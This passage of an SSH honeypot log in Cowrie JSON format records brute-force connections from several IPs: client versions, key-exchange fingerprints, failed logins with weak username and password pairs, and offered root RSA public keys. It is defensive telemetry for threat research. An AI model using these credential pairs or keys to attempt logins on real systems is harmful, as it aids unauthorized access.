eyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:15.548390Z","src_ip":"83.168.110.85","session":"814938989425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:15.918227Z","src_ip":"83.168.110.85","session":"814938989425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:17.135297Z","src_ip":"83.168.110.85","session":"814938989425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":60008,"dst_ip":"10.17.0.5","dst_port":22,"session":"83dcb25dae87","protocol":"ssh","message":"New connection: 103.172.78.219:60008 (10.17.0.5:22) [session: 83dcb25dae87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:21.094638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:21.099765Z","src_ip":"103.172.78.219","session":"83dcb25dae87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:21.359272Z","src_ip":"103.172.78.219","session":"83dcb25dae87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:22.145498Z","src_ip":"103.172.78.219","session":"83dcb25dae87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:23.407929Z","src_ip":"103.172.78.219","session":"83dcb25dae87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41998,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6ecd47ac7a2","protocol":"ssh","message":"New connection: 83.168.110.85:41998 (159.203.135.109:22) [session: f6ecd47ac7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:25.892686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:25.898530Z","src_ip":"83.168.110.85","session":"f6ecd47ac7a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:26.020860Z","src_ip":"83.168.110.85","session":"f6ecd47ac7a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:26.383346Z","src_ip":"83.168.110.85","session":"f6ecd47ac7a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.49.242","src_port":35404,"dst_ip":"10.17.0.5","dst_port":22,"session":"24898b6c0e5f","protocol":"ssh","message":"New connection: 148.135.49.242:35404 (10.17.0.5:22) [session: 24898b6c0e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:26.701573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:26.706313Z","src_ip":"148.135.49.242","session":"24898b6c0e5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:26.783097Z","src_ip":"148.135.49.242","session":"24898b6c0e5f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:7c:53:03:37:69:12:0b:01:ab:4d:e0:4a:ba:ce:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0MKsvovWuwvpRE1IVlXLRKzGvnv6cHjrkwmezLlt041pORouk7mUKIEVIQ2X7XSm7V3EQ0+6Sigh2aB54CRLbBFaCmUn0oWn4n7ZSo1CAmzYZuXp7h7EDDcxzXcggoUgXCy+A8PGLW+8RjTKRctCLbiMjRjOMz5Mu2pMIxsF5+eQ6aBaAIph+Ek8QdH6lk9AIi40Xoqs8i3Jy5E2RQ9j1LzOU81/Wrsn65hqwQob6CxBHtMbYh8KYd/isaA8wD2ZO9tfHyoSXcDIm0UTqxJPQ5QW+XaLZSSualHs5eDdVl7K+A1d2iJQ8sCkVLajtggRj8g55rdCuOcsUkbBTB7C3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:7c:53:03:37:69:12:0b:01:ab:4d:e0:4a:ba:ce:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:27.102096Z","src_ip":"148.135.49.242","session":"24898b6c0e5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:7c:53:03:37:69:12:0b:01:ab:4d:e0:4a:ba:ce:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0MKsvovWuwvpRE1IVlXLRKzGvnv6cHjrkwmezLlt041pORouk7mUKIEVIQ2X7XSm7V3EQ0+6Sigh2aB54CRLbBFaCmUn0oWn4n7ZSo1CAmzYZuXp7h7EDDcxzXcggoUgXCy+A8PGLW+8RjTKRctCLbiMjRjOMz5Mu2pMIxsF5+eQ6aBaAIph+Ek8QdH6lk9AIi40Xoqs8i3Jy5E2RQ9j1LzOU81/Wrsn65hqwQob6CxBHtMbYh8KYd/isaA8wD2ZO9tfHyoSXcDIm0UTqxJPQ5QW+XaLZSSualHs5eDdVl7K+A1d2iJQ8sCkVLajtggRj8g55rdCuOcsUkbBTB7C3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:27.106130Z","src_ip":"148.135.49.242","session":"24898b6c0e5f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:75:bf:c7:66:32:56:ce:3b:0a:69:1c:73:ad:49:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs4VeXdvEGVbGaxh1hzLq7JOav52sOD5hjTASo4T9z7IUe4OljwGar8nxbokFVJC+R2bHRibs52C00447qIUXMsjsjoNPqD9clvOz1Cv+SBjHz++2wmzWvpXE2fMeLSbGlkeFTX6YoWCgWOZGhbGEmdW/SCzGKIYCGAnaxgYjdbiEHjNoaTYCJU1AKEIYc0kEP6ojow2eom+8Vkb2dx7PagBV8T1OQJevmsEcJtvG1/o/5jZuh3jg0saS3wxFem6io7YrE/0CoDnZrP4TZXCkxvENGUU50b4YOwLvp17leJzlls/46Z09vq1Jt3QQqRbmcJ0J62mcBZj37+HMqwf+DQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:75:bf:c7:66:32:56:ce:3b:0a:69:1c:73:ad:49:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:27.174531Z","src_ip":"148.135.49.242","session":"24898b6c0e5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:75:bf:c7:66:32:56:ce:3b:0a:69:1c:73:ad:49:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs4VeXdvEGVbGaxh1hzLq7JOav52sOD5hjTASo4T9z7IUe4OljwGar8nxbokFVJC+R2bHRibs52C00447qIUXMsjsjoNPqD9clvOz1Cv+SBjHz++2wmzWvpXE2fMeLSbGlkeFTX6YoWCgWOZGhbGEmdW/SCzGKIYCGAnaxgYjdbiEHjNoaTYCJU1AKEIYc0kEP6ojow2eom+8Vkb2dx7PagBV8T1OQJevmsEcJtvG1/o/5jZuh3jg0saS3wxFem6io7YrE/0CoDnZrP4TZXCkxvENGUU50b4YOwLvp17leJzlls/46Z09vq1Jt3QQqRbmcJ0J62mcBZj37+HMqwf+DQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:27.178620Z","src_ip":"148.135.49.242","session":"24898b6c0e5f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:a5:99:11:78:91:21:19:bb:85:ee:6b:92:dd:8b:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAISdHIRIEaNUtbnWoFVJsgtyZ1ART9ro355ZLJ1jMdLf17Z2wBxec33S7UwcrauC3DQr8E7yHVkLdLxH1+2qdhBtwjOhlLLDCFiw3ZFeV1ZkuZkYACuPYaMcvCFkngslqXnE2PCE3dptWoVWzZkGWB985YTdmXAlGXOxv57OzWNvKgp2WVE6Azq+vCLPTY0Y08841c47LVdJHcTySDdEZmJzOvVf6fOB3wB7/mnEXd0efx5ErNvZFnQXZ1eXjZqRpkrXm7CrrG9u2AG2OLgO1CQCVfJNxt4SB8i1d3eOo9typU/d5h//tIyz9b0D3xA+gwu+kQA78b/cRhEj1LaZAzefBHUjt0H/fNH+QPCu9M3YT0pg0i3O6x449MgzHEoKe4ngeBca+LtmBZjCBIKEf7QXkziYFPujEAXvqS9AMUgLzfk29S+eM7GbHaINY/nakAnFyjEYjqgQjYKKYh/nSWuw1zulxWgBt7+UnP9GtLE4OkEDehTIq2P3ikepgfR6F841gtZuAC+L2tWnv02Z7p0/+V1lHGEG+qlrZ1zfSudYI5TxzEKezTo7EFTXDZ2c+ZpPf0RcSzkOQ0eFk3hguCYmdkuBYWvOjxRlJfw0Qqyidx0VvkJQE7PSxVeKhqUex1KRDPTfgArXRzv/aYpVrlsSpkcwz7iv/GpcjgBIvMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:a5:99:11:78:91:21:19:bb:85:ee:6b:92:dd:8b:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:27.247964Z","src_ip":"148.135.49.242","session":"24898b6c0e5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:a5:99:11:78:91:21:19:bb:85:ee:6b:92:dd:8b:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAISdHIRIEaNUtbnWoFVJsgtyZ1ART9ro355ZLJ1jMdLf17Z2wBxec33S7UwcrauC3DQr8E7yHVkLdLxH1+2qdhBtwjOhlLLDCFiw3ZFeV1ZkuZkYACuPYaMcvCFkngslqXnE2PCE3dptWoVWzZkGWB985YTdmXAlGXOxv57OzWNvKgp2WVE6Azq+vCLPTY0Y08841c47LVdJHcTySDdEZmJzOvVf6fOB3wB7/mnEXd0efx5ErNvZFnQXZ1eXjZqRpkrXm7CrrG9u2AG2OLgO1CQCVfJNxt4SB8i1d3eOo9typU/d5h//tIyz9b0D3xA+gwu+kQA78b/cRhEj1LaZAzefBHUjt0H/fNH+QPCu9M3YT0pg0i3O6x449MgzHEoKe4ngeBca+LtmBZjCBIKEf7QXkziYFPujEAXvqS9AMUgLzfk29S+eM7GbHaINY/nakAnFyjEYjqgQjYKKYh/nSWuw1zulxWgBt7+UnP9GtLE4OkEDehTIq2P3ikepgfR6F841gtZuAC+L2tWnv02Z7p0/+V1lHGEG+qlrZ1zfSudYI5TxzEKezTo7EFTXDZ2c+ZpPf0RcSzkOQ0eFk3hguCYmdkuBYWvOjxRlJfw0Qqyidx0VvkJQE7PSxVeKhqUex1KRDPTfgArXRzv/aYpVrlsSpkcwz7iv/GpcjgBIvMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:27.251890Z","src_ip":"148.135.49.242","session":"24898b6c0e5f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:fd:5b:51:ff:ba:ec:d4:78:ad:e8:1d:2e:b5:be:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKSfIXI9UpLIpmQpJVQIAy2XElOwCRMtrQ1ZjjADx6+v1jJUdnVBml1zUXYZlBvRtPQ4CGXMotfbWX7qBcXwh5xRs0U4nFjiH5RPL9zQjiV2TC8CLn/8Z8Zrht5hxKnDIKpvSITGBPBYlURXaM/6B1Ny2qjUFa2m2QQJpzE13Nd1xPcyG/JSJghy/yZ5n1kK/UmTE1vVK5iTXe1+s3cxl06Mp7W+1FqDsE3O7lpg0wYkCkFeDzQ50ChiMU7LUhh/nx0OWBcwt6fN8is0PNKcbtrutR29/3GJZBe8cL/QIoYF3mG1IBqELtgE3os1Xj0QAQua9iDXSRu/47YdUiTDc1HoCvtvGQjV3WiA7jdj5h220C2wRF7q1AVaBxuxZxHpFt/AF9PuFgWBW1EEpsp0k+ySKGAX0XGu4RzSCo4D+XCIurZjGtMkAj60xvzmMDrZk/BD4EjZV8VkOJaXpjKbDMdb9br68k1KRM+hI3AhAFpauj0qQ4MqYsM2dWhZUjmMbcHWwr0hj/+o/h/hL00uX4DgUosFFvmbErPw3FWJFIKgAHfvZZ52Z3PRnseTHx4jET3Ha7kEQ+2FiyZwX4tDk74zKlM2/N+j9TVpAEbiB2uCQ5WkyJWGrjhaOTfqIEZIXoYPGfuBWcq+UYCtYJatZB7BS5eJPkDiirP4XkFmBrSQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:fd:5b:51:ff:ba:ec:d4:78:ad:e8:1d:2e:b5:be:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:27.320235Z","src_ip":"148.135.49.242","session":"24898b6c0e5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:fd:5b:51:ff:ba:ec:d4:78:ad:e8:1d:2e:b5:be:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKSfIXI9UpLIpmQpJVQIAy2XElOwCRMtrQ1ZjjADx6+v1jJUdnVBml1zUXYZlBvRtPQ4CGXMotfbWX7qBcXwh5xRs0U4nFjiH5RPL9zQjiV2TC8CLn/8Z8Zrht5hxKnDIKpvSITGBPBYlURXaM/6B1Ny2qjUFa2m2QQJpzE13Nd1xPcyG/JSJghy/yZ5n1kK/UmTE1vVK5iTXe1+s3cxl06Mp7W+1FqDsE3O7lpg0wYkCkFeDzQ50ChiMU7LUhh/nx0OWBcwt6fN8is0PNKcbtrutR29/3GJZBe8cL/QIoYF3mG1IBqELtgE3os1Xj0QAQua9iDXSRu/47YdUiTDc1HoCvtvGQjV3WiA7jdj5h220C2wRF7q1AVaBxuxZxHpFt/AF9PuFgWBW1EEpsp0k+ySKGAX0XGu4RzSCo4D+XCIurZjGtMkAj60xvzmMDrZk/BD4EjZV8VkOJaXpjKbDMdb9br68k1KRM+hI3AhAFpauj0qQ4MqYsM2dWhZUjmMbcHWwr0hj/+o/h/hL00uX4DgUosFFvmbErPw3FWJFIKgAHfvZZ52Z3PRnseTHx4jET3Ha7kEQ+2FiyZwX4tDk74zKlM2/N+j9TVpAEbiB2uCQ5WkyJWGrjhaOTfqIEZIXoYPGfuBWcq+UYCtYJatZB7BS5eJPkDiirP4XkFmBrSQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:27.326318Z","src_ip":"148.135.49.242","session":"24898b6c0e5f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:1f:b5:78:c3:df:35:17:72:cf:4e:29:9f:6e:23:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClZP3IHU2Z3EVFZXrBRo9P8dyKONAW8LV3+xIoqkXgaCE6XgrEWKUR/tYr7fimlA1RpEPm59w3iS1ufvXNJXe6JFA8j2FpRO3lPXcfzphLNE9pi9t+Wnt/PyfgB6sIhdW8FmwKX+tKcdPTMjJa+BKeZYGEeoNonbhfPZ4VsJAHGqKVu5b3irvqP6+ikDNqicANNVb+kC/qC9idiUcr8lMro4iri0TEfE2Eozu75byTaLCO4APp+Tj4ZNp81RgeTBfEEdhCHsgyDCgeO4HvWg1ay+Edr/S45HS511fWFb3+htvP7mqCbA/9Uq1h6/Pl5fRBLTucwClb2Ix4I5AQFFSO+ZYezT5uS8XFbftygmH9IInOa53gtvwmA9lg7hXHHQdLUWiJoUYgQRr+ehK8b+NxDtXQIWu8DSQOWz8OEMMSfDtfRGNAlXrYWVKTiO6BDml3XKaEYyqigiDWU3ZpBTNzVEt2HqbnnhNwcC2ERR6Slgoot8o0nbKguT2QR97PvIeTmNpSFabeqghmpVF9p45MO6J1yse/UjZnv/sgwG209fLcmhdYDJ4TAPyH/Q3zvnjm0mGchv1pbqJedBd8UF1hpR70b86euZ25VZtc3k1tudrR4i5Jr0S6fsNxnmb48jWiQxIH5KYhIkCsJg0W3WE6w00dTm66C+O9aFRYFJGDTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:1f:b5:78:c3:df:35:17:72:cf:4e:29:9f:6e:23:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:27.394716Z","src_ip":"148.135.49.242","session":"24898b6c0e5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:1f:b5:78:c3:df:35:17:72:cf:4e:29:9f:6e:23:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClZP3IHU2Z3EVFZXrBRo9P8dyKONAW8LV3+xIoqkXgaCE6XgrEWKUR/tYr7fimlA1RpEPm59w3iS1ufvXNJXe6JFA8j2FpRO3lPXcfzphLNE9pi9t+Wnt/PyfgB6sIhdW8FmwKX+tKcdPTMjJa+BKeZYGEeoNonbhfPZ4VsJAHGqKVu5b3irvqP6+ikDNqicANNVb+kC/qC9idiUcr8lMro4iri0TEfE2Eozu75byTaLCO4APp+Tj4ZNp81RgeTBfEEdhCHsgyDCgeO4HvWg1ay+Edr/S45HS511fWFb3+htvP7mqCbA/9Uq1h6/Pl5fRBLTucwClb2Ix4I5AQFFSO+ZYezT5uS8XFbftygmH9IInOa53gtvwmA9lg7hXHHQdLUWiJoUYgQRr+ehK8b+NxDtXQIWu8DSQOWz8OEMMSfDtfRGNAlXrYWVKTiO6BDml3XKaEYyqigiDWU3ZpBTNzVEt2HqbnnhNwcC2ERR6Slgoot8o0nbKguT2QR97PvIeTmNpSFabeqghmpVF9p45MO6J1yse/UjZnv/sgwG209fLcmhdYDJ4TAPyH/Q3zvnjm0mGchv1pbqJedBd8UF1hpR70b86euZ25VZtc3k1tudrR4i5Jr0S6fsNxnmb48jWiQxIH5KYhIkCsJg0W3WE6w00dTm66C+O9aFRYFJGDTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:27.399227Z","src_ip":"148.135.49.242","session":"24898b6c0e5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:27.470242Z","src_ip":"148.135.49.242","session":"24898b6c0e5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:27.605845Z","src_ip":"83.168.110.85","session":"f6ecd47ac7a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":53544,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6a4efae5ce6","protocol":"ssh","message":"New connection: 152.32.171.99:53544 (159.203.135.109:22) [session: d6a4efae5ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:32.176617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:32.180651Z","src_ip":"152.32.171.99","session":"d6a4efae5ce6","protocol":"ssh"}
